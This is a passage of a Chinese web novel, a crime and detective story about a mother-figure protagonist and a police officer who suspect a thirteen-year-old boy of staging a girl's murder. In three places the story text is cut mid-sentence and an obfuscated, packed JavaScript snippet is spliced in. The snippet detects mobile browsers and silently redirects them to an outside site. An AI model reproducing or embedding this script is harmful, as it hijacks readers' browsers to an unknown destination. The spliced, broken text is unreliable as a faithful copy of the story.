文字落入某处位置,恰好严丝合缝。好像巨大的拼图只剩最后几块,就可以形成完整的图案。凌逍几不可见地叹了口气。 她所面对的,并不是一个普普通通的人渣。他内心极度自负,甚至俯瞰着这个世界,任意玩弄操纵身边所有人。他大概有着高智商,很可能没有同理心,是个没有正常意义爱恨、只有狂热且扭曲感情的,天生的—— 不,或许,并不是天生的…… 犯罪者。 既然如此,其中最最重要的一块拼图,恐怕还不能过早地填入啊…… 挂钟不知何时敲响,沉闷古老的声音回荡着这个小小的隔间中,一丝暗淡的光亮落入装着栏杆的通风小窗,与微微颤抖的灯火,共同照在了屋内两个人的脸庞上。 嗒、嗒、嗒。 脚步声传来,很轻,很稳,湮没在挂钟的嗡鸣中。 帘子被掀起。清瘦的青春期男孩儿穿着校服站在门口。 凌逍的眼神如鹰,在黑夜中紧紧锁定了等待已久的目标。她看见就在那一瞬间,那双黑蒙蒙的眸子在摇曳的光中瞳孔剧烈收缩,身形有一丝极其轻微的摇晃,是罕见的惊讶与措手不及。 凌逍能够捕捉到那转瞬即逝的情绪,并不是见到陌生人在自己房间中的那种惊讶,而是—— 压抑的动摇,反复的回忆,以及与之伴随的自我怀疑! 李耀成声音嘶哑地开口。 “妈。” “……还有,为什么梁警官会在这儿?” …… 空气长久的凝固。没有人回答。 李耀成口中问着梁胜问题,黑夜同色的瞳孔却直勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李耀成看起来有点诧异:“去年夏天的6月29日上午九点半,您和另一位杨警官来我们班级问过话呀?难道您忘了吗?” 连时间都分毫不错,梁胜心下略惊异于这少年的记忆力,又连忙摆手。凌逍则在这时慢悠悠地开口打断: “噢,梁警官的确是因为这个案子来的。就是那个……什么案子来着?”她偏偏头,一副疑惑模样,“警官,我最近更年期,记性不好,什么来着?” 梁胜:“??……是6.28失踪案。” “噢对,”凌逍拉长声音,转头,微笑望向李耀成。 “是了,就是邻居去年6月28日发生的——凶杀案。” “对,是凶杀案。” 她重音“凶杀”两字,重复道。 梁胜一惊,正欲阻止凌逍对小孩子泄露案件信息,却听见李耀成点点头,如常放下书包。 仿佛只是家庭内部日常的随口对话。 “原来如此。” 李耀成背对着二人收拾书包,看不到他的脸,只能听到声音中有浅浅的遗憾惋惜。 “原来并不是失踪吗?” 然后他转过身来,没有多余的椅子,便坐在小床一角。 暗淡的光在逼仄的小屋中摇晃,半明半灭照应在侧脸上,忽明忽暗。 “那可真是——太不幸了啊。” 他回答道。 15.少年犯(十五) 在这间狭小的隔间,昏黄的灯火下,凌逍与李耀成心平气和地谈论着那一天的事情。梁胜感觉自己完全无法插入两人莫名而漫长的对话。几近窒息的气氛中,不知为何她开始身体极度紧绷僵硬,再度想起犯罪小说中侦探与犯人对峙的场景。 可——这分明只是一场母亲与儿子之间的普通对话! “是的,梁警官推测小樱大概已经被杀害,所以这个案子现在又重新开展调查。”凌逍解释道。 李耀成:“是突然发现了什么线索吗?” 凌逍:“梁警官说,虽然线索被隐藏起来很难发觉,但幸好已经有了眉目。毕竟作为普通人,怎么可能将一切罪证都彻底‘处理干净’呢?” 李耀成:“千百年来有那么多悬案都找不到凶手,证据早就彻底消失了。普通人或许无法处理干净,但对有些人来说可能很简单吧。” “错了,”凌逍摇摇头,“所有人都是普通人,这个世界并不存在神。况且证据从不会消失,只会被埋藏。找出来就好了。” “找出来……吗?” “唔,”李耀成思索片刻,继而笃定道:“的确只要有朝一日找出来,这就够了——这种事情需要耐心,不着急的。” “噢?为什么不着急?”凌逍反问。 李耀成发出极轻微的哂笑,又仿佛只是一瞬间的错觉。再开口时,又如往常好学生回答问题一般,如沐春风。 “起初警方只定性为失踪案吧?” 他坐在那张小床一隅,在忽明忽暗的光线中,半张脸带着浅浅笑意,另一半则落入幽暗之中。平时他总是孤僻冷淡的模样,不过此刻却罕见地详细分析起来,有条不紊: “多亏梁警官发现了重要线索,才推翻了专案组的错误答案,真厉害!” 李耀成的声音中满是鼓励与赞叹——但当居高临下的称赞,是从一个十三岁男孩的嘴里说出来时,更像是一场荒谬的咏叹调。 “我平时很喜欢观察蚂蚁。它们有时候找错了方向,陷入困境后就只会打转。但如果这个时候领队蚂蚁发现新的路,它们就会变得很积极,深信不疑地走向新的路,最终找到食物。” “现在,错误的方向已经被修正了。我相信梁警官,如果按照现在这个方向坚定不移地努力下去,最终一定会找到出路的。” “很快,这个案子就会完美地、永远永远地结束——妈,你说是不是?” 他的称赞是对着梁胜说的,可眼神,此时此刻却紧紧落在了凌逍的脸庞。 凌逍无声地予以回视。 过一阵儿,她轻轻笑了起来,语气极为平和。就像是刚刚的对话,真的只是母子之间最寻常温馨不过的放学后对话。 “完美结束吗?” “巧了,儿子。” “我也是这样相信的。” 微妙的交锋之中,她耸耸肩,似乎率先败下阵来,给出了对方想要的肯定答案。 高高的通风窗上铁栏杆的阴影落在地面,晃动灯火中拉得极细极长,犹如监狱中的网,恰好将床上人的影子框在其中。 天网恢恢。 “很快,一切都会结束的。” 与此同时,凌逍盯着地面的影子,低声重复道。 光影摇曳,滴答,滴答,挂钟不断摇摆着,一下,又一下,回荡在屋子里。 均匀中有一种急促,平静中自有剑拔弩张之感,让人不由屏住呼吸。 “你到底是什……”李耀成极快地皱了一下眉,却同时又摇摇头,收回了未尽的疑惑,“不,妈,没什么。” 凌逍没有追问,李耀成也很快自然地继续刚才的话题。两人之间,好似刚刚的对峙与试探从未发生过一般。 “梁警官具体是发现了什么新情况? 凌逍:“梁警官说,这是机密不能泄露,不过她觉得应该和你们班级有关系。” 李耀成:“怪不得今天梁警官也去了我们班。不知道是谁有嫌疑?我看杨方今天被叫出去很久啊。” 凌逍:“杨方吗?唔,关于具体的调查方向,我就不知道啦。说起来,我好久没见过杨方这孩子了,也不知道现在是不是还整天惹事生非。” 凌逍又拍了拍脑门,才想起来正事般指了指梁胜:“其实今天梁警官也是来问我关于他的事情。刚来,我正要配合工作呢。” 李耀成一愣,礼貌颔首。 “原来是这样。梁警官,关于他您有什么需要问我的,我也一定完全配合。不过您应该知道的,说是亲戚,可俩家也不熟。”他状似经意道,“甚至今天他……算了,没什么。” 纯黑的瞳孔蒙着雾,隐约泄露出一丝怀疑。但与此同时,在对话中他的肩膀不自觉愈发向下、眉眼愈发舒展,唇角的肌肉越来越放松,显示出一种紧张后云销雨霁、自在安宁的感觉——这似乎产生一种矛盾的状态。 但这实际上并不矛盾。 因为人类本身,就会本能地怀疑着陌生事物,却又同时对自己亲力亲为的东西、对自己所猜测的走向,深信不疑。当这种怀疑的直觉,并不足以推翻自己深信不疑的东西时…… 其实,那只是一点几不可查的不自觉动作,在暗淡的光线下,几乎不可能有人细心观察到极其微妙的变化。 但无论多么微妙,只要存在过,就一定有被发现的可能。无论自我掌握多么高超、多么自律,只要是普通的人类,都无法阻止细微身体语言的泄露。 黑夜中燃烧着一点微弱光芒。 凌逍在这丝光芒的引导下,紧紧捕捉着李耀成每一丝微不可见的痕迹,不动声色。 听到李耀成这样讲,她深以为然地点头。 “非常好,人民群众就是应该这样积极配合警察同志!不愧是我的儿子,很有觉悟嘛。” 她兴高采烈地握住梁胜的手。 “反正您也刚过来,正好俩人一起问。” “噢对了,不光是关于杨方那孩子的问题,我和我儿子那天去了哪、干了啥,干脆也一起再重复问一遍吧?没准有什么新思路呢!反正就是顺手的事!” “您说呢?梁警官?” 从刚才就就一直反复被cue、但实际上一句话没来得及说的梁胜:…… 啊?说什么? …… 去年。就在程家报警的第二天,警方迅速开展各方走访调查。这座不大的县城很久没有出现过恶性学生失踪案件了,当时还在市局的领导下成立了6.28专案组。只是时过境迁,专案组被要求解散,悬案逐渐被尘封在所有人的记忆中,唯有监控忠实地记录着那一日的一瞬内容,白纸黑字的笔录诉说着那一日每个人的各自生活。 梁胜已经将那些视频和笔录反复翻阅过无数遍,除了杨方那边新出现的重大线索,其余应当已经没有任何遗漏了。 “从现有的线索中挖掘矛盾可疑之处,这才是接下来调查的突破口之一。”不知怎的,梁胜突然想起凌逍上次对自己说过的话。 可当她已经有了全新的、正确到无懈可击的思路,还需要这个所谓的突破口吗? 梁胜今晚过来,只是为了与凌逍商量下一步动作,顺便看一看对方拿那份“路人举报电话”录音到底要做什么。 明明来之前,她已经十分确信杨方具有明确作案动机、足以推翻的不在场证明,是唯一的重大嫌疑人。只要顺着这条线找下去……哪怕穷尽十年二十年追查,一定会有结果的。 可为什么现在她从对方的话语中,隐约听出了一道奇怪的请求—— 【以杨方为借口,重新询问李耀成母子案发当天的不在场证明!】 为什么?明明已经询问过很多次了,王燕红一家没有任何不对劲的地方,笔录都是完美的…… 梁胜望着凌逍状似热烈的表情,感受着对方冰凉而隐隐用力的双手,忽然方才反复摇摆的直觉再度爆发。 等等。 到底自己为什么会陷入惯性思维,认为错误的方向历经辛苦修改之后,就一定会变得正确呢? 错误的方向,难道就不会更改之后,依旧错误、甚至变得更加南辕北辙吗?! 她所看到的一定是真实的吗?她的思考和调查,是不是……其实也是被操纵、引导下的一环呢? 如果是这样,或许她需要推翻一切,重新思考,重新寻找突破口调查——既然如此,她就必须忘记一切,以最纯粹的思路、最无知的心态,回归去年6月28日那天! 尽管不知道凌逍具体用意,但就在这一瞬,梁胜在摇摆中,忽然产生了一种奇妙的心有灵犀。 是的,她选择相信眼前这个女人—— 因为她们殊途同归,为了枉死的受害者、为了陷入痛苦深渊的受害者家属,共同在追寻着真相! 凌逍放下了握住的手,唇畔露出极浅的笑意。 然后做了一个“请”的姿势。 梁胜拿出警察证,程序性地向两人晃了晃,先简单问了关于杨方的事情。 随即她深吸一口气,严肃问道: “再说一次,去年6月28日,你们都在哪里?” …… 凌逍来到之后世界之后,首先做的就是复原王燕红的全部记忆。在第一次询问程小梅案发当天情形的时候,她就时刻注意与王燕红记忆进行对比,以便交错证实真实性。 从结果角度来讲,程小梅和王燕红所叙述的时间线,也的确完全对得上。 但是,人的记忆,就一定是真实的吗? 凌逍回答得很详细。 “6月28号,凌晨4点多我去早餐店上班,8点多回来,我儿子已经去上学了。他每天早上6点准时出门。” “白天我在家收拾房间、洗衣服、出去给儿子买练习册和营养品……一直到晚上5点左右,我就开始准备晚饭。” “学校是晚上6点放学。平时我家6点半准时吃晚饭,但轮到他当值日生的日子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841663|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会推迟一会儿。那天6点50分,儿子值完日到家,我们开始吃晚饭,7点20分左右吃完。就在这时候院子那边小梅爸妈叫我,他们问我有没有看见小樱去哪儿了。” 这些是白天发生的事情,或许与案子有关,或许无关,已经反复说了很多次,和笔录一模一样,梁胜几乎能够倒背如流。但她依旧听得很认真。 按照去年的笔录,接下来,王燕红就会继续叙述: 【7点20分左右,我儿子也来院子里,他说看见小樱放学很快就走了,其他的不太清楚。我怕耽误孩子写作业,就让他赶紧进屋学习,自己和小梅爸妈又说了两句话,就回前屋睡觉了,因为我第二天凌晨还要赶早班。】 【这一夜我家都没人再出门。】 【有谁能证明?唔,我家大门每晚7点半一定要反锁起来,另一家邻居应该能听到我上锁的声音。噢……还有,大约晚上9点多的时候,我听到了警车来的声音。】 而这份经过反复调查、多方走访印证无误的笔录,也正是王燕红与李耀成彻底排除嫌疑的有力证据之一。因为专案组给出的最终作案地点范围,是阳街附近;作案时间范围,是晚上6点05分到9点整。 也就是说,他们两个人,在这个时间段都有着完美的不在场证明。 梁胜听到凌逍的话与笔录完全一样,略有失望,不过仍尽职尽责地问:“然后呢?” 仍旧是和笔录一模一样的话吗? “然后嘛。” 凌逍思索片刻。 “然后,7点20分钟左右,我和我儿子在院子中与小梅爸妈进行了短暂对话。” 她认真地回忆。 所说的话明明与笔录内容是一个意思。可是梁胜总觉得哪里不对劲。 “……对话结束后,我儿子先独自回到了后屋,我也独自回到了前屋。这时小梅爸妈已经离开了。” 哪里不对呢? “直到第二天早上凌晨4点,我去上班。我儿子也正常出现了在学校。” 啊。 是依旧重复笔录的内容,但以第三人的旁观视角,换了一种完全不同的说法。只论结果,不论过程! “……所以。” “6月28号晚上7点20分——这是那天最后一次有人看到我们俩。” 凌逍状似不经意地总结道。 不同的描述角度。 不同的结论。 砰。 椅子被急促的起身带倒,猛地摔在地面,发出巨大的声响。 梁胜猝然起身。 “梁警官,小心点。”凌逍慢慢扶起椅子。 她又温和地看向李耀成:“儿子,我最近更年期,记不住事情啦。” “告诉我,7点20分,和小梅爸妈聊完天,你都做了什么?” 李耀成的表情没有丝毫变动,唯独修长的手指下意识地攥紧床单。青春期男孩儿的声音略略压低,仍掩藏不住尖细的清脆。 “我就在房间里看书。” “一个人吗?” “当然是一个人了,妈。” “看了什么书?” “应该就是课本吧。” “中途离开家了吗?” “您锁了大门。” “我没问你我锁没锁大门,只问你中途出去了吗?我睡着了,什么也不知道。” “……没有。” “这样啊,看来这就是咱们的【不在场证明】。”凌逍扭头看向梁胜,“警官,你觉得怎么样?还有什么其他问题吗?” 梁胜久久没有回答。 凌逍握住梁胜一下子变得极其冰冷的手,感受到指尖传来的剧烈颤抖。她就这样静静握着,直到许久后,这只手才勉强恢复了温度。 “看来今天的笔录已经做完了。”凌逍自顾自道。 “不好意思,关于杨方的问题,我们好像没太帮到你的忙。” “走吧,梁警官。太黑了,我送你。” 凌逍起身,半扶着陷入迷茫的梁胜,踉跄走出这间小屋。一场安安静静的试探就此落幕。 在掀起帘子、踏出房门的一刻,凌逍微微偏头,回眸。 月光不知何时从乌云中探出头,似水洒落院中,不知名的小树婆娑作响,被精心照料的叶子映照出漂亮的墨绿色,底下土壤散发出独特的香气。在这个即将万物凋零的初秋,蓬勃生长。 但这间逼仄的小屋中仍是暗淡的,被无穷无尽的练习册和书籍堆满,只有一丝光亮从通风窗的栏杆中勉强落入。李耀成静静坐在小小的床上,一动不动,像是被模糊了五官的孤单的雕塑,被关在城堡破败的高墙监狱内。 凌逍放下帘子,走出小院。 【距离任务一时限结束,还剩44小时。】 凌逍很浅地叹息了一声,这声叹息中,有种奇异而复杂的悲凉。 她喃喃道: “高墙即将崩塌啊。” 16.少年犯(十六) 凌逍扶着踉跄的梁胜走出院子。北方的初秋,天开始黑得早,朦胧残月不知何时挂在了天空,隐藏在沉沉的乌云之后,似有似无。石头路上家家关门闭户,偶尔有狗吠声传来,贫乏而萧瑟。 夜色凉如水。一阵风吹过,梁胜不禁打了个冷颤,一直晃悠悠飘在空中的思绪终于降落。她忽然觉得特别特别的冷,不由攥紧了衣襟。但这种冷不只是身体上的,更是心底彻骨的寒冷。 梁胜止住了步伐,凌逍也随之停步。 “怎么了,梁警官?”凌逍问道。 梁胜凝视着凌逍,凝视着这张熟悉而陌生的脸庞,很久都没有说话。风拂过她的短发。压抑、愤怒、沮丧、茫然、忐忑……但此刻,都被一股叫做“恐惧”的情绪所替代。 凌逍问:“怕了?” 梁胜点头,又摇摇头。 她所害怕的不是凶杀案,也不是自己一开始就追查错了方向。现在,梁胜知道了,有嫌疑的不仅仅是杨方,还有所有人眼中品学兼优的好学生——李耀成。在此之前,他曾经拥有完美的不在场证明,甚至从来没有进入过专案组的视线,完完全全地从案件中隐身。 然而就在几分钟前,所有的调查思路都被一下子推翻了。 可无论凶手是谁,当梁胜想起程小樱快乐明媚的脸庞时,都会感觉到一股由衷的恐惧——恐惧于疯狂的、扭曲的、同时又过于年轻的人心。正因为过于年轻,才会显现出天真的别样残忍。 隐隐约约,她甚至在自我怀疑:如果凶手真的是李耀成,那么如此思维缜密、天衣无缝、手染鲜血的十三岁孩子,还可以被称之为“孩子”吗?如果法律不能惩罚这样的孩子,那么她所一生追寻的正义,又终将该如何实现呢? 梁胜张了张嘴,终于低声问出心底的疑惑:“你到底是谁?” 凌逍答:“第一次见面我就告诉你了,我只是一个接受了玛德琳小姐委托的普通人。” “你叫什么名字?” “名字不过是一个代号。” “你是神吗? “不,就像我刚刚说的,这个世界上没有神的存在。”凌逍认真答,“我们从来都是普通人而已。” 梁胜仍旧恍恍惚惚。 “你确信程小樱已经被害了?会不会专案组一开始其实是对的?我现在倒宁愿相信……她只是失踪了。” “哈,梁警官,一年来你都坚持下来了。事到如今,才想要逃避真相吗?” 凌逍摊手反问,但并没有催促,仅仅安静等待着。 梁胜沉默片刻。 过了一阵儿,她低声问:“王燕红是凶手吗?” 凌逍答:“刚刚我所说的,就是王燕红的真实记忆。我可以保证她不是凶手。但……唔,没什么。” 凌逍顿了顿,到底没有说下一句话。 其实就在刚刚再度复盘王燕红记忆时,凌逍突然感觉到了一丝微妙的不和谐,极其细微,甚至连系统都完全没有察觉。 王燕红在案发那一天的记忆,的确是完整的,她丝毫不知道凶杀案的存在,对警方所说的也一直是实话。但在案发的第二天……她的记忆出现了极短暂一瞬的空白。 就像是看到了什么事情,又自己强行在记忆中删除了一样。 凌逍现在还无法确定……这件事,会如她猜测的一样,和任务有关吗? 梁胜嗫嚅半晌,终于抬眼,直视凌逍。 “你想告诉我——真凶不是杨方,是吗?” 凌逍:“凭借现有证据,还不能下这样的结论。但我的确是这样猜测的。” 事实上,在刚刚那场无声的对峙与试探中,凌逍几乎可以肯定一件事。 李耀成,就是凶手。 这名十三岁的少年,拥有着过于常人的智商、手段、心理素质,对生命有一种奇异的漠视与扭曲。他甚至隐晦地对凌逍说:是我又怎么样呢? 他怀疑着凌逍,同时也察觉出凌逍对自己的怀疑,并为此感到警惕。可是,他也同时自负于他的完美犯罪——没有任何人,包括所谓的母亲,可以找到任何蛛丝马迹。 在他的计划中,警方将继续顺着他投下的饵料走向错误的路,而这个案子,将永远地埋藏在地下。 梁胜:“我可以彻底相信你吗?”即便……现在的你,身份是李耀成的母亲? 凌逍微笑了起来,轻轻握住对方依旧冰凉的指尖: “当然。无论我的身份是什么,你永远可以相信‘我’。” 因为,我即她们。 风吹来沙沙树叶声,乌云一点点消散,暗淡的月又明亮了一些。 许久,梁胜的身姿又恢复飒爽笔直,眼底再度燃烧起纯粹的火焰。身为刑警,她只给予了自己短暂的犹豫与迷茫时间。寂静破败的街道上,她无声地回以凌逍一个拥抱。 凌逍拍了拍这名刑警姑娘的后背。 随后,凌逍正色道:“梁警官,言归正传,我就直说了。” “现在案件还缺失几个很重要的证据,笔录里根本没有提。只有查出这些答案,才能彻底解开我的疑惑。” 梁胜严肃点头:“你说。” 凌逍:“第一,去年小梅班的班长,是从哪里收到酒吧传单的?” “第二,李英是怎么知道酒吧开业的?” “第三,酒吧老板开业前,找了什么人散发传单吗?在哪里,谁发的?是否注意到奇怪的情况?” “第四,6月28日,初一(三)班的值日表,原本就是李耀成值日吗?” 梁胜愈听,神情愈发沉重。脚步不自觉踌躇,忽而她猛然抬头,失声道: “你怀疑……这一切都是凶手事先安排好的!” 脚步声回荡在空荡荡的石头路,梁胜顾不得什么,一把拉住凌逍走到路边。头晕目眩中,她想起今早凌逍、程小梅和自己三人一同看监控的情形——在看到杨方的书包链出现在酒吧监控视频后,自己是怎么说的来着?而凌逍又是什么反应? 啊,自己说的是,“杨方在小樱之后出校门,最后又出现在了阳街上,这其中一定有问题。”而凌逍当时则是不置可否,向自己要了全部笔录内容。 从一开始,对方的调查重点,就并不在杨方身上! 现在,梁胜知道了所谓的作案时间、作案地点都是不可靠的,曾经排除嫌疑的不在场证明都是可以推翻的。她拼命地想,试图按照凌逍的思路跳出条条框框。 焦急疲惫之中,日夜翻看的无数个细节浮现又消散,跳动的直觉在脑中翻腾—— 电光火石之间,梁胜忽然抓住了整个案子核心的关键! “我知道了!” “为什么所有人、包括警方都出现在了新开业的酒吧?而且,为什么偏偏是唯一有监控视频的酒吧?” “时间、地点、人物——这巧合背后,就是凶手的安排。” “无论是监控,还是不在场证明……警方所看到的每一处细节,实际都是被引导的,是早就被凶手设计好的答案!” 梁胜激动地压低声音,这个想法令她感到如此不可思议,但跳出思维和感官的桎梏,客观地从全局看待问题后,一切又变得那么清晰。 无论有多么荒谬,排除不可能之后的,就是真相! 可如果凶手是李耀成,那么,从头到尾,他到底是怎么具体行动的?路线、时间、安排、还有尸体的位置…… 梁胜一时之间仍想不通,但找到答案正是她的职责。大喜大悲之后,只余追查到底的决心与动力。此时此刻,梁胜终于了然,故作轻松地做了个认输的手势:“怪不得你一定要群众举报电话录音。下午我该缠着情报组的同事哭,求他们给我复原录音的。” 凌逍哈哈大笑起来。 “要不你试试缠着我哭呢?梁警官,我说过,一天时间,让你看看什么叫真正的复原。” “……明天就能有结果吗?”梁胜无奈发现,这个人有时候挺摸不到头脑的,可偏偏一举一动又很有深意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856802|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “是的,明天就可以对比出声纹。” 梁胜想了想,果断接道:“关于你刚刚说的问题,我明早就去查。李英那边好像现在找不到人,我拜托情报组找一找人。不过最迟后天,我一定会给你确切答案的。” “后天下午,我来找你。” “不——梁警官。” 出乎意料地,凌逍否决了梁胜的提议。她似乎总是有捉摸不透的行动,并且不愿意在有确凿证据前轻易透露。 梁胜一愣,耐心等待解释。 却见凌逍只是很坚决、很坚决地摇头。 她说:“梁警官,一个月之内,我们不要再见面了。” “为什么不要见面?又为什么是一个月?”梁胜十分疑惑,却相信凌逍一定有自己的理由。 凌逍还是摇头。 过了好一会儿,她从口袋里掏出一个透明塑料密封袋,里面是生锈腐蚀的红色发夹。她不由分说地将袋子塞到了梁胜手中。 “这是我今天出去找到的证物,地点就在二中通往阳街后巷第三个分叉小路上。案发当天,程小樱也带着这个发夹,你可以去送到省里鉴定DNA。” 在梁胜越来越茫然的神情中,凌逍自顾自地说下去。不过比起“说”,更像是一种远行前的循循叮嘱。 “找到那几个问题的答案后,请立刻打电话给我。还有——我希望,除此之外,最近你都不要再对这个案子进行调查了。” “一个月后,警方会在夜里接到我家的电话。所有答案,也一定会在那天彻底揭晓。” 听到这样莫名其妙、笃定的安排,梁胜不由皱眉。更多的,是躁动的担忧与不安: “为什么?你要做什么,不能告诉警方吗?” 凌逍只是凝视着梁胜,露出极浅,略带温柔的笑意。 梁胜感到那笑容如此熟悉温暖,就像很小时候早就见过一般,眷恋与不舍从心底汩汩倾泻而出。 直觉告诉自己,去拉住她——不要让她离开! “梁警官,你相信命运吗?” 梁胜一愣。 不待对方回答,凌逍摆手,转身大步而去。 月光石板路上,只留下了一个背影,越行越远。 “有缘再会,梁警官。” …… 第二天一大早,凌逍在院子里转了几圈,又去了一趟阴山,带着她自己配置的不知名试剂到处喷散。除此之外,就是在家里摆弄电脑——昨天停了电,那个什么声纹也鉴定推迟了。她倒是不急,每天带着程小梅开开小灶,吃吃喝喝。 就连在家和李耀成碰面的时候,态度也照旧如常,总是以更年期为理由,指使自己的儿子做家务、跑跑腿。 系统简直要佛了,从每四个小时倒计时一次改为每小时倒计时,在脑子里滋哇乱叫——【做任务了!!】 凌逍总是不以为然:“不急。” 直到第三天,下午四点。 【距离“任务一:找出真正的人渣”时限结束,还有1小时。】 凌逍正在院子里浇花。忽然从梁胜那边打来了电话。 系统没听清,只听见电话里隐约急促的一连串声音。 凌逍淡淡地听着,许久,沉默地挂掉电话。 就像是准备了很久的大事,真正发生时,只有一种原来如此的平静感。 是的,这里是如此平静的小镇,也是如此平静的家。母亲在浇花,孩子在后屋中学习,时不时帮忙家务,还有隔壁孩子在家里玩耍。可就在这和平安宁的日常中,系统感受到一股毛骨悚然的感觉。 【凌逍,怎么了?】 凌逍看了看电脑。 声纹鉴定进度条此时此刻,跳跃到了100%。 凌逍想了想,答道:【关于6月28日那天的始末,我已经完全明白了。这就全部告诉你。】 【噢,对了,打开任务一提交窗口。】 【现在……是时候填写答案了啊。】 17.少年犯(十七) 去年,天气略有反常,夏至来得格外晚。朝起夕落,日复一日,平静祥和的县城里,时间总是过得很慢。不过最近几天算得上一年一度的热闹时刻,因为高考成绩刚刚放榜,街道上时不时有鞭炮声响。年轻人们欢声笑语地聚集游荡,欢庆他们即将离开这个被禁锢的小镇,自由地飞向更广阔的世界。 阳光的阴影下,隐隐有罪恶在生长。如同不为人知的种子,不知何时被不经意撒下,又在阴湿角落中迅速发芽。 6月21日。案发前一周。 阳街。 酒吧老板是个三十出头的人,前些日子刚盘下一间小门脸,摩拳擦掌装修一番后即将开业。这里地理位置其实不算好,处在阳街这条小商业街的尽头,客流量少,而且还紧挨着阴山山脚的围挡高墙。尤其到了晚上,附近破败荒废、重叠交错的后巷时不时飞出乌鸦,阴山就像一座怪物耸立,落下浓墨的阴影。 不过酒香不怕巷子深,老板照旧敲定下周,6月28日,正式开业。 最近警方正在搞防范拐卖儿童的宣传,还承诺加大布控主要街道摄像头数量。酒吧老板想起曾经客人发酒疯惹事、自己却有理说不清的情况,于是狠狠心,花不少钱在门口上安了一个黑白监控。 然后给了小伙计一沓宣传单,上面写着“开业大酬宾,酒水全场买一送一”。叮嘱再三: “不准给我偷懒扔传单,开业那天我要看到实打实客人的,生意好的话给你提成!” “对了,传单千万别给学生!噢,不过高三毕业生倒是可以……嗨,反正应该不会有人报警举报吧?” 小伙计站跑到阳街入口处的路口,站在日头里发传单。人流量不多,他发得很慢,烈日炎炎下出了许多汗。等到天快黑了,他听到二中悠扬的下课铃声传来,犹豫片刻,就跑到了二中附近。 有许多接送学生的家长,学校大门口还新装了监控。十二三岁的初中生肯定不能给这种东西,当妈的也一般会直接喷死自己。小伙计主要瞄着男家长,尤其是那种一看就会喝酒的男家长,做贼似的开始往对方手里塞传单,但效果仍不理想。 小伙计等了又等。人群开始渐渐散去。有一张传单散落在地上,他正要低头捡起,就看到一双刷到发白的鞋子。一下,一下,不紧不慢地轻踩在了传单上。 小伙计:“谁啊?!” 抬头却见一个穿着校服、清瘦的男孩子,约莫十二三岁,身量普通。对方带着帽子,帽檐压得很低,小伙计看不清这学生的脸,只看得见下颌,和隐隐开始发育的喉颈。 “给我一些,我来帮你发吧。”这学生伸出手。 他的声音略尖细,但并不难听,还有些温和与清脆。 小伙计转身就走,拒绝了对方的请求。 但学生没走。 “我的爸爸……他喜欢喝酒,说不定带这些回去,他就不会骂我了。”他的声音略带恳求,小伙计不自觉地就停住了脚步,心里直发软。不过老板的耳提面命还在回荡——说到底,初中生还有些太早了。 然后就听学生不经意地补充道:“他还有很多也喜欢去酒吧的朋友,我以前看过爸爸叔叔们经常约出门吃喝,花了不少钱。” 小伙计:…… 一分钟后。学生拿走十几张传单,小伙计也成功完成了今天的任务。学生很仔细、很仔细地看着传单上的内容,静静地站在那里。 “6月28号开业啊……” 他的唇角不知何时扬起了细微弧度。小伙计陡然一惊,不知为何突然感到由衷的冷意,再一看帽檐的阴影下,一切又仿佛是错觉。 “你别乱给别人啊。”小伙计叮嘱。 学生答:“不会的。就在刚刚,我已经想好了应该发给哪些人。” “噢,随便,不过最好别给同学啊!” 学生一笑不答,却只是点头。 两个人又聊了几句天,学生就说这里人多,大门口还有监控,这样被人看见聊天不好。这个少年似乎对个新科技很感兴趣,也许是不经意,他随口问了句: “你们酒吧门口会装监控吗?” “大价钱,老板刚装的。”小伙计炫耀道,又赶紧嘘了一声,“别告诉别人,客人不喜欢这样,传出去不太好。” “是吗?” 沉默片刻,学生浅浅笑了起来。他的声音听不出情绪,但是有种别样的兴奋。偶尔传来乌鸦的叫声,随着这声音一起传入小伙计的耳朵。 “怎么不好?我倒是觉得——这样更好。”学生道。 “奇怪,哪里好了?” “因为方便。” “毕竟人类对于亲眼所见的东西,才会更相信啊。” 一周后的开业当晚,警方来酒吧里进进出出。接下来的一个月,不时有刑警来到酒吧,问老板,也问小伙计有没有在阳街、或者二中通往阳街小路附近,看到什么奇怪的人。小伙计理所当然地回答没有。 但莫名其妙地,夜深人静时,他偶尔会想起这个有点特别的学生。 那一天,和学生道别时,小伙计总有种不安的感觉。天逐渐黑了,夕阳开始落下光芒。正要转身那一刹那,风吹落了学生的帽檐。小伙计睁大眼睛,看到了—— …… “你看到了什么?” 梁胜拿出记录本,按照凌逍的吩咐严肃问道。 酒吧老板时隔一年后再度见到警察,也是欲哭无泪,催促自家伙计:“你看到什么了?还能想起来吗?能认出这个奇怪的人吗?快说啊!” “我能认出他。我……不小心看见了他帽子下的脸。” 小伙计茫然失措,喃喃道: “还有他的眼睛。” “很黑,很深,很平静……就那样消失在了夜色里。” …… …… 6月23日。案发前5天。 王燕红家。 晚上,李英久违地回到家。一如往常地,他和王燕红因为钱和工作的事情大吵一架,还互相动了手——他有个习惯,就是喝酒后会惹事,人越多闹得越厉害。那天他喝多了,下手重了不少,王燕红脸上多出了红红的巴掌,在院子里哭。 